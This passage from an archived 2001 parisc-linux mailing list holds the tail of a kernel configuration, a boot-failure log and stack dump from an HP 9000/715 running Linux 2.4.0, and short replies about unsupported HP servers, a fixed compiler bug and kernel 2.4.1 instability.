CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CDrom)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y

#
# SCSI low-level drivers
#
CONFIG_SCSI_LASI=y
# CONFIG_SCSI_ZALON is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_TULIP is not set
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_EEPRO100_PM is not set
# CONFIG_LNE390 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139TOO is not set
# CONFIG_RTL8129 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE=y

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

---1463811727-1804289383-980924095=:21138
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Disposition: attachment ; filename="fail4.cap"


Select from menu: b lan

Trying lan.000000-000000.0.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl danne@zaphod.halden.lillfab.se Sun Jan  7 00:16:00 CET 2001
0/vmlinux 2232427 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.113.1 console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100150 first 00100000 n 4
Segment 0 load 00100000 size 1412236 mediaptr 0x1000
Segment 1 load 0025a000 size 277996 mediaptr 0x15a000
Segment 2 load 002a0000 size 8192 mediaptr 0x19e000
Segment 3 load 002cbce8 size 67552 mediaptr 0x1a0ce8
branching to kernel entry point 0x00100150
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 9
Free memory starts at: 0xc02dd000
start_parisc(0x504cf0,0x504cf0,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.113.1 console=ttyS0'
PALO initrd 0-0
model   00003100 00000481 00000000 00000000 77e3ab26 ffffffff 00000004 0000000a 0000000a
vers    0000000b
CPUID   vers 0 rev 0
model   9000/715
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Using Alex's odd 715/old exception, onboard graphics won't be inventoried!
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Core BA (11) at 0xf082f000, versions 0x7, 0x0, 0x70, 0x0, 0x0
3. Scorpio Core SCSI (10) at 0xf0825000, versions 0x7, 0x0, 0x71, 0x0, 0x0
4. Scorpio Core LAN (802.3) (10) at 0xf0826000, versions 0x7, 0x0, 0x72, 0x0, 0x0
5. Scorpio Core HIL (10) at 0xf0821000, versions 0x7, 0x0, 0x73, 0x0, 0x0
6. Scorpio Core RS-232 (10) at 0xf0823000, versions 0x7, 0x0, 0x75, 0x0, 0x0
7. Scorpio Core RS-232 (10) at 0xf0822000, versions 0x7, 0x0, 0x75, 0x0, 0x0
8. Scorpio Core Centronics (10) at 0xf0824000, versions 0x7, 0x0, 0x74, 0x0, 0x0
9. Scorpio Audio (10) at 0xf1000000, versions 0x7, 0x0, 0x7b, 0x0, 0x0
10. Scorpio EISA BA (11) at 0xfc000000, versions 0x7, 0x0, 0x76, 0x0, 0x0
11. Scorpio (715/50) (0) at 0xfffbe000, versions 0x310, 0x0, 0x4, 0x0, 0x81
12. Scorpio (1) at 0xfffbf000, versions 0x17, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 50.000000 MHz
Linux version 2.4.0 (danne@zaphod) (gcc version 2.96 20000925 (experimental)) #45 Tue Jan 30 21:59:24 CET 2001
free_bootmem(0x2dd600, 0x2d22a00)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 12288
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.113.1 console=ttyS0
Error reading tod clock
Calibrating delay loop... 49.76 BogoMIPS
Memory: 45348k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
busdevice_alloc_irq(0xc02bad44): No LASI/ASP/WAX found in system yet !
hil.c: IRQ not found for HIL at 0x00000000
Warning : device (10, 0x7, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

Dumping Stack from c2fcc000 to c2fcca80:
c000 00000000 00000040 00000000 00000000 c026f320 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c026f1e4
c040 c026f1e4 00000029 c2fc0000 c02a0000 c027460c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c02a0000 c02a0000 c2fb0000 00000000 00000000 c2fb0098 c02a0098
c0a0 00000000 c02bc118 00000000 c2fcc0ac c2fcc0ac c2fcc908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c2fcc000 c011aa98 00000000 00000009 00000000 00000000 00000023 00000000
c100 0000002c 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c026ffcc ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000300 00000300 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00003000 0198420b
c260 00000000 c0142768 00008000 c2ffeca0 c021ac4c c022b9cc fc4ff000 00504cf0
c280 00000000 c0117334 c02ba800 00003000 0198420b c02ba800 00000000 0004000a
c2a0 c026f354 0000000b 00000024 0000003c 0000003e c026f000 00000001 00000000
c2c0 c01002bc c02a6ca3 00000000 c02a6cc7 0000000b c026f354 c026f000 08000059
c2e0 f0000694 000000ff 00000060 00000060 00000001 00000002 002a2080 00000008
c300 002a6700 c025a000 00000000 00e4e1c0 c02a08c0 00000060 0000001f 00000000
c320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c340 00000000 00000000 00000000 00000000 40800000 00000000 ffd5b580 ffd5b580
c360 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000 00000000 00000000
c380 41800000 00000000 00000010 00000010 00000000 00000000 ffd5b580 ffd5b580
c3a0 41000000 00000000 40800000 00000000 ffd5b580 ffd5b580 41000000 00000000
c3c0 ffd5b580 ffd5b580 40800000 00000000 41000000 00000000 40300000 00000000
c3e0 40200000 00000000 40200000 00000000 41800000 ffd5b580 40000000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c420 c2fcc800 c0105cf4 00000000 00000000 00000000 00000000 00000000 00000000
c440 c0117320 c0117324 40800000 00000000 00275000 00000000 c0274040 c0274064
c460 00000000 c0274204 00000000 00000000 00000000 c2fcc470 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4e0 00000000 00000000 00000000 c0105c48 00000000 00000000 00000000 00000000
c500 c02a0000 00000000 c02a0640 00000000 00000000 00000000 00000000 00000000
c520 00000000 00000000 00000000 c01002d0 00000000 00000000 00000000 00000000
c540 00000000 00000000 00000000 00000000 c2fcc000 c027460c c02a0000 00000000
c560 c02a0640 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c5a0 00000000 00000000 00000000 c0289068 00000000 00000000 00000000 00000000
c5c0 00000001 c0278000 00000000 00000000 00000002 00000001 00000001 c0248b34
c5e0 00000000 00000000 00000000 c0288f9c 00000000 00000000 00000000 00000000
c600 f0000694 08000059 00000001 00000000 f0001244 000ff000 001a5a59 c0289830
c620 0004000a fc4ff000 c02bc000 c02be800 c025a000 c02ba000 c029ddec c029ddb8
c640 c029ddec c029ddb4 00000000 00000000 000ff000 001a5a59 c0289830 0004000a
c660 fc4ff000 c02bc000 c02be800 c0290c14 c02ba000 c029ddec c029dd98 c02ba000
c680 c02b7ee4 c02b7fa0 c027c304 00000040 c0237d1c c0237908 c02379c4 c0237d20
c6a0 00000000 00000000 c02be800 c0290f70 c02ba000 00010800 c2fcc608 c026f354
c6c0 10000080 c02b7ee4 c02b7fa0 c027c304 00000040 c2ffd0c0 c0237800 c0237800
c6e0 fffffffc c02b7fa0 c019ac38 c01996dc c0279450 10000080 c02b7ee4 c02b7fa0
c700 c027c304 00000040 c0237a7c c027e2c4 c0237800 00000000 c02b7ee4 c02b7ee4
c720 c02ba000 c02b7114 c01d9420 c01177bc c027e2c4 c027e164 c2fcc900 00000060
c740 c02bbfe4 00000000 c027c3d4 c02bbfe0 00000000 0000003c 0000003e c026f000
c760 00000001 c02a6cfb 00000004 c01596a0 00000054 c02a6cfb 0000000b c026f354
c780 c2fc88ec 00008124 f0000694 000000ff 00000060 00000060 00000001 00000002
c7a0 002a2080 00000008 002a6700 c0290e70 00000000 00e4e1c0 c2fcc980 00000060
c7c0 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c7e0 00000000 00000000 00000000 c019791c 00000000 00000000 40800000 00000000
c800 ffd5b580 ffd5b580 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
c820 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
c840 0006000b c02a6740 c019791c c02b7ee0 00000013 0000002f c02b8cc4 c027c3d4
c860 ffffffff c026f000 c019ac38 c02b7fa0 fffffffc c0237800 c0237800 c02c9584
c880 c0237800 c0237800 c02b7f24 00000000 c02b8cc4 c02bb800 ffffffff 00000040
c8a0 00000093 00000002 00000000 c025a000 00002580 0000002f c2fcca80 c0290e38
c8c0 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8e0 00000000 00000000 00000000 00000000 00000000 00000000 40800000 00000000
c900 ffd5b580 ffd5b580 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
c920 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
c940 ffd5b580 ffd5b580 41000000 00000000 40800000 00000000 ffd5b580 ffd5b580
c960 41000000 00000000 ffd5b580 ffd5b580 40800000 00000000 41000000 00000000
c980 40300000 00000000 40200000 00000000 40200000 00000000 41800000 ffd5b580
c9a0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
c9c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9e0 00000000 00000000 c010cc7c c010cc80 00000000 00000000 00000000 00000000
ca00 00000000 00000000 00000001 00000020 00000001 0e781096 00000000 0000000c
ca20 00000000 00000002 c0270340 c0103670 c0270490 00000000 00000000 00000000
ca40 80000000 c02bc000 c2fcc740 00000020 00000000 00000000 c027068c 00000007
ca60 c2fcc000 00000002 c0270340 c0106704 c0270490 00000000 00000000 00000000

Data access rights fault in kernel: Code=26 regs=c2fcc840 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001011
r0-3     00000000 c02a6740 c019791c c02b7ee0
r4-7     00000013 0000002f c02b8cc4 c027c3d4
r8-11    ffffffff c026f000 c019ac38 c02b7fa0
r12-15   fffffffc c0237800 c0237800 c02c9584
r16-19   c0237800 c0237800 c02b7f24 00000000
r20-23   c02b8cc4 c02bb800 ffffffff 00000040
r24-27   00000093 00000002 00000000 c025a000
r28-31   00002580 0000002f c2fcca80 c0290e38
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c010cc7c c010cc80
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
ORIG_R28: 00000000

---1463811727-1804289383-980924095=:21138--




From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 800/G30 and G50 Support?
Date: Wed, 31 Jan 2001 18:03:40 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <3A78537C.11739.D334D@localhost>
References: <3A770170.11858.64A68@localhost>; from plaven@ozemail.com.au on Tue, Jan 30, 2001 at 06:01:20PM +1100
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619812 14770 80.91.229.3 (22 Nov 2014 01:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 00:03:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F45F4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 00:03:47 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA29736
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 23:59:41 -0700
Original-Received: (qmail 14921 invoked by uid 15267); 31 Jan 2001 07:03:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14911 invoked from network); 31 Jan 2001 07:03:45 -0000
Original-Received: from mta03.mail.au.uu.net (HELO mta03.mail.mel.aone.net.au) (203.2.192.83)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 07:03:45 -0000
Original-Received: from piglet.sspl.net.au ([210.84.112.2])
          by mta03.mail.mel.aone.net.au with ESMTP
          id <20010131070340.TZBA19418.mta03.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@thepuffingroup.com>;
          Wed, 31 Jan 2001 18:03:40 +1100
Original-Received: from winnie.sspl.net.au (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id SAA26279
	for <parisc-linux@thepuffingroup.com>; Wed, 31 Jan 2001 18:03:37 +1100
Priority: normal
In-reply-to: <20010130134921.A3093@parcelfarce.linux.theplanet.co.uk>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10080

> > I still haven't been able to acertain if this archcetecture is supprted 
> > with the linux port...  Anyone willing to offer a yes or no?
> 
> it's in the faq.

Yep you're right... 

I even remember reading it.. I wasn't making a correlation to the server model 
and what was written, don't ask why, it's not that unclear in the faq.



-- snip --
The earliest PA-RISC servers have proprietary HP devices attached to 
proprietary HP bus architectures. It is unlikely that documentation on these 
busses and devices will ever become available, since so few people are 
interested in spending any effort finding and releasing the docs. Machines in 
this category are the E, F, G, H, I class (aka Nova) and T500 series 
(Emerald) machines as well as some earlier, unlettered servers. 

-- snip --

Having said that the G30 and G50 obviously fall into the list of lettered 
machines not supported.

Thanks..



Pete.





From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Wed, 31 Jan 2001 18:07:30 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101311805130.19209-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0101311139160.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619813 14771 80.91.229.3 (22 Nov 2014 01:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:13 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 00:07:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 908CD4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 00:07:41 -0700 (MST)
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA29837
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 00:03:33 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA28693;
	Wed, 31 Jan 2001 18:07:30 +1100
In-Reply-To: <Pine.LNX.4.21.0101311139160.19209-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10081

On Wed, 31 Jan 2001, Alan Modra wrote:

[about pehc devel branch gcc]
> r19 is being trashed.  It's a compiler bug.  One I added too. :-(

Now fixed.

-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Wed, 31 Jan 2001 16:16:22 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <E14Nzvl-0002cJ-00@the-village.bc.nu>
References: <20010126030440.A18813@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619813 14774 80.91.229.3 (22 Nov 2014 01:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:13 +0000 (UTC)
Cc: grundler@cup.hp.com (Grant Grundler),
	parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 09:16:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 801BE4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 09:16:03 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA09581
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 09:11:56 -0700
Original-Received: (qmail 27616 invoked by uid 15267); 31 Jan 2001 16:15:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27593 invoked from network); 31 Jan 2001 16:15:50 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 16:15:50 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14Nzvl-0002cJ-00; Wed, 31 Jan 2001 16:16:25 +0000
In-Reply-To: <20010126030440.A18813@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 26, 2001 03:04:40 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10082

> just for giggles, i merged 2.4.1-pre10 into our tree.  no conflicts.

Bad move. 2.4.1 is incredibly broken and unstable. Stay at 2.4.0 for testing




From - Thu Nov 08 21:16:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Wed, 31 Jan 2001 10:37:14 -0600 (CST)
Lines: 238
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101311009300.28557-100000@maestro.symsys.com>
References: <3A7329D6.22387.109A119@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
